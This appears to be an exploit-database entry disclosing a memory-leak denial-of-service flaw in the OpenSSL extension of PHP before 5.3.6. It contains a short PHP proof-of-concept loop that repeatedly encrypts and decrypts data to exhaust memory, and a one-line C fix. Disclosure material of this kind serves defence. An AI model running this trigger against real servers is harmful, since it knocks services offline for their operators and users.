PHP < 5.3.6 'OpenSSL' Extension - 'openssl_decrypt' Ciphertext Data Memory Leak Denial of Service
source: https://www.securityfocus.com/bid/46977/info PHP is prone to multiple remote denial-of-service vulnerabilities that affect the 'OpenSSL' extension. Successful attacks will cause the application to consume excessive memory, creating a denial-of-service condition. Versions prior to PHP 5.3.6 are vulnerable. <?php $data = "jfdslkjvflsdkjvlkfjvlkjfvlkdm,4w 043920r 9234r 32904r 09243 r7-89437 r892374 r894372 r894 7289r7 f frwerfh i iurf iuryw uyrfouiwy ruy 972439 8478942 yrhfjkdhls"; $pass = "r23498rui324hjbnkj"; $maxi = 200000; $t = microtime(1); for ($i=0;$i<$maxi; $i++){ $cr = openssl_encrypt($data.$i, 'des3', $pass, false, '1qazxsw2'); $dcr = openssl_decrypt($cr, 'des3', $pass, false, '1qazxsw2'); if ($dcr != $data.$i){ print "at step $i decryption failed\n"; } } $t = microtime(1)-$t; print "mode: openssl_encrypt ($maxi) tests takes ".$t."secs ".($maxi/$t)."#/sec \n"; ?> fixes by add this code at line 4818 at the end of openssl_decrypt: EVP_CIPHER_CTX_cleanup(&cipher_ctx); ?> |